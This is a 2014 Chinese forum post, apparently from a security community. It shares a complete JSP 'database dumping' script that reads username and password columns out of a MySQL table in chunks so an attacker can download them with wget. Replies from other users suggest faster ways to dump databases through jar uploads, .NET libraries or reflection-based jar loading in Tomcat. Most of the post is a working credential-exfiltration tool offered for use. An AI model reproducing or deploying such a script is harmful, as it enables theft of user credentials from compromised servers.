jsp wget脱裤脚本
Gavin | 2014-05-20 17:27
刚刚和朋友看了下jsp也可以实现
<%@ page contentType="text/html; charset=utf-8" %> <%@ page language="java" %> <%@ page import="java.sql.*" %> <% //author: By Gavin //Usage: wget "http://xxx.com/wget_db.jsp?sn=0&en=5000000&ln=50000" -O gavin.sql out.clear(); //分段每次limit查询出来的条数,根据实际情况调整,默认为2w int MAX_LIMIT_NUM = 20000; //最大缓存条数,防止占用过多内存,根据每条数据大小调整 int MAX_CACHE_NUM = 5000; //驱动程序名 String driverName="com.mysql.jdbc.Driver"; // 数据库地址 String dbAddress = "127.0.0.1:3306"; //数据库用户名 String userName="root"; //密码 String userPasswd="root"; //数据库名 String dbName="DBName"; // 查询字段 String columns[] = "username,password".split(","); //表名 String tableName="table_name"; // 接受参数 int startNum = Integer.valueOf(request.getParameter("sn")); //接收起始条数 int endNum = Integer.valueOf(request.getParameter("en")); //接收结束条数 String ln = request.getParameter("ln"); if (ln != null && ln != "") MAX_LIMIT_NUM = Integer.valueOf(ln); //接收每次分段查询的条数 int gavin_downNum = endNum - startNum; //计算总下载条数 if (endNum < MAX_LIMIT_NUM) MAX_LIMIT_NUM = endNum; int multiple = gavin_downNum/MAX_LIMIT_NUM; int complement = gavin_downNum%MAX_LIMIT_NUM; // 连接数据库 String url="jdbc:mysql://"+dbAddress+"/"+dbName+"?user="+userName+"&password="+userPasswd; Class.forName(driverName).newInstance(); Connection connection=DriverManager.getConnection(url); Statement statement = connection.createStatement(); // 拼装前半部分sql String sql = "SELECT "; for(int i=0;i<columns.length;i++){ if(i == (columns.length-1)){ sql += columns[i]; } else { sql += columns[i] + ","; } } sql += " FROM " + tableName + " "; int num = 1; for(int i=0;i<multiple;i++) { int newStartNum = i*MAX_LIMIT_NUM+startNum; if(i == (multiple-1)) MAX_LIMIT_NUM += complement; String newSql = sql + " limit " + newStartNum + "," + MAX_LIMIT_NUM; java.sql.ResultSet rs = statement.executeQuery(newSql); //获得数据结果集合 //ResultSetMetaData rmeta = rs.getMetaData(); while(rs.next()) { num ++; for(int j=1;j<=columns.length;j++){ if(j == columns.length){ out.println(rs.getString(j)); } else { out.print(rs.getString(j)+"-->"); } } if (num >= MAX_CACHE_NUM) { out.flush(); num = 0; } } rs.close(); } statement.close(); connection.close(); %>
本地测试图:
相关内容:
各种吐槽:
1#
Gavin | 2014-05-20 17:30
@xsser 求给个发文章的权限,已提交漏洞,应该够30了~
2#
Knight (查水表。缴wb不杀) | 2014-05-20 18:23
mysql的,写清楚点。
3#
Jumbo | 2014-05-20 21:01
拖的是mssql还是mysql
4#
Zvall (safeKey team - 电击小子) | 2014-05-20 21:29
@楼上的两位 driver url 和sql语句 通用了 前提是要导入包、
@Gavin 这种方式 方式效率真心不高。 既然支持java可以搞个编译个jar包上去。
win下用.net 引入 system.data.oracleclient.dll 就OK 比sqlplus效率还高
5#
Zvall (safeKey team - 电击小子) | 2014-05-20 21:30
@楼上的两位改下 driver url 和sql语句 通用了 前提是要导入包、 打错了
坑回复的贴子不能编辑么?
6#
园长 (乱码你好,乱码再见。) | 2014-05-20 21:33
@Zvall tomcat里面我已经实现了加载任意需要的jar包到运行环境,挺简单呢。java 反射运行时加载外部jar到Tomcat StandardClassLoader 关于数据库备份那简直太简单了,p2j也发过。
7#
Zvall (safeKey team - 电击小子) | 2014-05-20 21:55
@园长 用反射机制来写拖库程序 是不是有点太 高级了
8#
园长 (乱码你好,乱码再见。) | 2014-05-20 22:18
@Zvall 还行吧,活学活用嘛。你连接数据库的第一句话还是反射呢,Class.forName("xxxx"); 能用就行。
9#
Gavin | 2014-05-20 23:27
@园长 确实存在依赖问题,java不熟悉,学学~